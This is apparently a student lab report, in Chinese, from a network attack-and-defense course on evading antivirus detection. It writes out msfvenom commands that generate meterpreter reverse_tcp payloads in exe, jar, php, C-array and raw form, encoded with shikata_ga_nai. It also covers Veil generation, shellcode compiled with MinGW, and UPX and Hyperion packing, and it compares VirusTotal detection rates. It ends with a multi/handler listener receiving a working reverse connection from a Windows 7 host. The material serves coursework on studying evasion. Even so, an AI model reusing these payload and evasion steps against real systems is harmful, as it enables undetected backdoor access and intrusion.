当前位置: 首页 > news >正文

20232310 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1回答问题
(1)杀软是如何检测出恶意代码的?
将文件二进制代码与病毒库中的已知恶意特征对比,若匹配则判定为威胁。
分析代码结构和行为逻辑,例如检查是否调用危险API、是否存在异常注册表操作或加密行为,判断潜在风险。
动态沙箱检测,在隔离环境中运行文件,监控其行为,若触发可疑操作则标记为恶意。
(2)免杀是做什么?
免杀的核心目标是使恶意代码逃避杀毒软件的检测。
例如,攻击者可能通过修改代码结构、加密载荷或利用合法进程伪装,使杀毒软件无法识别其真实意图。
(3)免杀的基本方法有哪些?
通过工具定位杀毒软件检测的特征码位置,直接修改二进制数据。
使用压缩壳或加密壳包裹恶意代码,避免静态特征暴露。
将恶意代码直接写入内存,避免文件落地,绕过传统文件扫描。
将恶意代码拆分为多个模块,分阶段加载并加密传输,降低被整体识别的概率。

1.2实践内容简述
(1)使用msfvenom和msf编码器,生成exe、jar、php文件及它们的编码版本。
(2)下载veil工具,并使用它来生成恶意代码。
(3)使用C+shellcode编程。
(4)尝试upx压缩壳和试hyperion加密壳。
(5)通过组合应用各种技术实现恶意代码免杀,即与杀软共生。
(6)在杀软开启的情况下,用免杀技术让恶意代码运行并回连成功。

2.实验过程

2.1 免杀效果基准测试
在kali虚拟机中,利用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 PORT=2408 -f exe > met20232310.exe直接生成meterpreter可执行文件,
其中-p参数指定生成windows/meterpreter/reverse_tcp类型Payload,使目标主机执行后主动向攻击者主机发起TCP连接。
然后将文件传入主机,将该文件放入virustotal进行评价线上检测,过程和结果如下图
屏幕截图 2025-10-20 211209

屏幕截图 2025-10-20 211159

可以发现结果为59/72,后续即以此为基准判断后续的免杀效果的好坏
2.2 通过msfvenom使用编码器或生成其他格式文件
(1)生成exe文件
利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.80.128 LPORT=2408 -f exe > met-encoded20232310.exe
生成可执行文件。该命令中,
-e x86/shikata_ga_nai通过编码器对Payload进行混淆编码,
-b '\x00'参数排除空字符。
屏幕截图 2025-10-20 211439
上传坚持,发现区别不大,说明这种免杀方法已经被广泛记录,效果不佳
屏幕截图 2025-10-20 211700
(2)生成多次编码的exe文件
编码一次效果不佳,再试试多编码几次,参数-i设置编码次数为10次,可以看到结果基本一样,说明着这种免杀方法的特征太明显了,多次编码无效
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.80.128 LPORT=2408 -f exe > met-encoded20232310.exe
屏幕截图 2025-10-20 211713

屏幕截图 2025-10-20 211934
(3)生成jar文件
利用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2408 x>metjar20232310.jar生成jar文件。
其中-p参数指定生成java/meterpreter/reverse_tcp类型Payload,通过输出文件名metjar20222408.jar的.jar后缀,
msfvenom可隐式识别目标文件类型并生成符合JAR格式的文件,无需额外指定格式参数。
屏幕截图 2025-10-20 211944
得到的检出率为35/64,说明jar文件更难被识别出来
屏幕截图 2025-10-20 212123

(4)生成多次编码的jar文件
利用指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.80.128 LPORT=2408 x>met-encoded-jar20232310.jar生成一份编码10次的jar文件。
屏幕截图 2025-10-20 212141
得到的检出率还是35/64,说明多次编码依然没有什么用处。
屏幕截图 2025-10-20 212306

(5)生成php文件
用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2408 x> metphp_20232310.php生成php文件
看到php文件更加不易被检测出来
屏幕截图 2025-10-21 182623
屏幕截图 2025-10-21 182917

(5)生成多次编码的php文件
用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.80.128 LPORT=2408 x> met_encoded10_php_20232310.php生成编码10次的php文件。
发现检出率仅为8/62,效果很好,说明多次编码后免杀效果有较大改善
屏幕截图 2025-10-21 182917

屏幕截图 2025-10-21 183200

2.3使用veil免杀工具
(1)下载veil
输入sudo apt -y install veil
屏幕截图 2025-10-21 183733
然后输入usr/share/veil/config/setup.sh --force --silent,用veil自带的shell脚本配置好环境。
下载和自动配置都需要比较长的时间,请耐心等待即可
屏幕截图 2025-10-21 191226

(2)使用veil
输入veil,可以看到两个免杀的⼯具,Evasion和Ordnance。这里使用第一个
屏幕截图 2025-10-21 200536
输入use 1进入Evasion模块
然后输入list查看所有可用的载荷种类
屏幕截图 2025-10-21 200616

我们先试试c语音框架吧
看到c/meterpreter/rev_tcp.py是第7个选项,输入use 7
屏幕截图 2025-10-21 200729
然后配置一下,输入以下信息。
set LHOST 192.168.80.128(虚拟机的ip)
set LPORT 2408
generate(开始生成)
屏幕截图 2025-10-21 200925

下面会提示生成的具体细节特性和生成后文件所在的位置。
屏幕截图 2025-10-21 200933
找到相应目录下的生成文件
屏幕截图 2025-10-21 201050
传回主机,上传网站,结果为36/72,说明veil工具具备一定的免杀效果
屏幕截图 2025-10-21 201203

2.4 C语言结合Shellcode编程
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2408 -f c,用msfvenom工具生成载荷,-f c参数将载荷转换为C语言字节数组形式的源代码,便于后续嵌入到 C 语言项目中,通过编译生成可执行文件。
屏幕截图 2025-10-23 202348

编写一个c文件,具体内容如下
屏幕截图 2025-10-23 203543
屏幕截图 2025-10-23 203528

使用编译器i686-w64-mingw32-g++进行编译
屏幕截图 2025-10-23 203554

看到检测效果35/72,效果还可以,有一定的免杀效果。
屏幕截图 2025-10-23 203922

2.5 加壳工具
(1)使用压缩壳UPX
给上一个步骤生成的shellcode_c_20232310.exe加一个压缩壳。
upx作为压缩壳工具,对原始可执行文件的二进制数据进行压缩,并嵌入解压代码。
程序运行时会先通过壳程序解压原始代码并执行,既减小了文件体积,也通过隐藏原始shellcode的静态特征。
屏幕截图 2025-10-23 204050
测试检出率,发现是38/71,说明这个壳的特征已经被很广泛的记录,不好用。
屏幕截图 2025-10-23 204254

(2)加密壳Hyperion
cp shellcode_c_20232310.exe /usr/share/windows-resources/hyperion/(将待加密文件放到工作目录下)
wine hyperion.exe -v shellcode_c_20232310.exe shellcode_c_hyp_20232310.exe(加密文件)
屏幕截图 2025-10-23 204601
结果很糟糕,升到50/71了,还不如之前的压缩壳,推测可能因为Hyperion是公开工具,其壳程序的启动代码、加密算法标已被主流杀毒软件纳入特征库。当检测到文件带有 Hyperion 的壳特征时,即使内部代码未知,也可能被直接标记为可疑。也可能是调用特定API的行为触发动态拦截。
屏幕截图 2025-10-23 204918

2.6 免杀技术综合应用
先试试指导书的方法会不会被发现
使用msfvenom工具来生成一个攻击载荷的示例。该攻击载荷被x86/shikata_ga_nai编码了10次。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.80.128 LPORT=2408 -f c > 20232310_shellcode.c
使用vi工具,在生成的文件中加入main函数如下。
int main(){ int (func)() = (int()())buf; func(); }
使用MinGW-w64编译该源文件。
i686-w64-mingw32-g++ 20232310_shellcode.c -o 20232310_shellcode.exe
使用upx加一层压缩壳。
upx 20232310_shellcode.exe -o 20232310_shellcode_upx.exe
使用hyperion加一层加密壳。
wine hyperion.exe -v 20232310_shellcode_upx.exe 20232310_shellcode_upx_hyp.exe
屏幕截图 2025-10-23 205239
屏幕截图 2025-10-23 205456
屏幕截图 2025-10-23 205911
可惜我放到win11主机后,就被windows自带的windows defender发现了,并且直接禁止运行
屏幕截图 2025-10-23 210050

那试试raw文件呢
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.80.128 LPORT=2406 -f raw >20232310.raw
屏幕截图 2025-10-23 215617
通过链接安装 - shellcode_launcher启动程序 https://gitee.com/vantler/shellcode_launcher/
把攻击文件放到launcher的文件夹下
输入.\shellcode_launcher.exe -i 20232310.raw来启动文件
失败了
屏幕截图 2025-10-23 215038

感觉win11自带的windows defender有点强,把它放到win7里面吧。步骤同上
屏幕截图 2025-10-23 215806
没有被查杀,启动试试,也没事
屏幕截图 2025-10-23 215546

在kali虚拟机中输入msfconsole打开msf的控制台。输入
use exploit/multi/handler配置监听模块,
set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload,
set LHOST 192.168.80.128使用kali的IP
set LPORT 2406设置端口
屏幕截图 2025-10-23 215557

成功连接
屏幕截图 2025-10-23 215604
屏幕截图 2025-10-23 220604
虽然杀毒软件有点古老,是win7自带的老古董windows defender

几年前metasploit升级到了5.0,引入了一个新的模块叫Evasion模块,官方宣称这个模块可以创建反杀毒软件的木马
那现在我们用的版本是6.4想必也可以反杀毒软件吧
试试,用这个8吧
image
image
image
结果还是骗不过win11的windows defender
换成网页?
image
失败

http://www.hskmm.com/?act=detail&tid=39105

相关文章:

  • [SWPUCTF 2024 秋季新生赛]http标头 WP
  • 20251025 之所思 - 人生如梦
  • Jerrum–Sinclair 全有或全无定理
  • 一种解决所有 OI 问题的算法:Dream 算法
  • CobaltStrike流量分析
  • 【论文阅读】ASPS: Augmented Segment Anything Model for Polyp Segmentation - 指南
  • RuoYi-Cloud 认证实现
  • 初步学习计算机相关知识有感 - fang
  • 2025年自动上料机厂家权威推荐榜:螺旋上料机/真空上料机/粉末上料机,高效输送系统精准选型指南
  • 用代码将txt分别转换成列表和字典
  • 每日反思(2025_10_25)
  • AtCoder Beginner Contest 429 ABCDEF 题目解析
  • 2025年提升机厂家推荐排行榜,自动提升机,垂直提升机,物料提升机,工业提升设备公司精选
  • 刷题日记—数组—布尔数组的应用
  • 详细介绍:k8s中的kubelet
  • 树状数组 区间加 区间和 小记
  • 实验二 现代C++编程初体验
  • 昨夜雨疏风骤
  • 明天的任务
  • Windows SMB权限提升漏洞遭活跃利用
  • 江西振兴杯决赛Misc全解
  • 完整教程:Webpack5 第四节
  • 2025.10.25总结
  • ABC429
  • 10.25 CSP-S模拟39/2025多校冲刺CSP模拟赛8 改题记录
  • ABC429(C,D,E)
  • 玩转单片机之智能车小露——数字与字符串的转换与打印
  • 数据采集作业1 102302111 海米沙
  • 嵌入子流形
  • Link-Cut Tree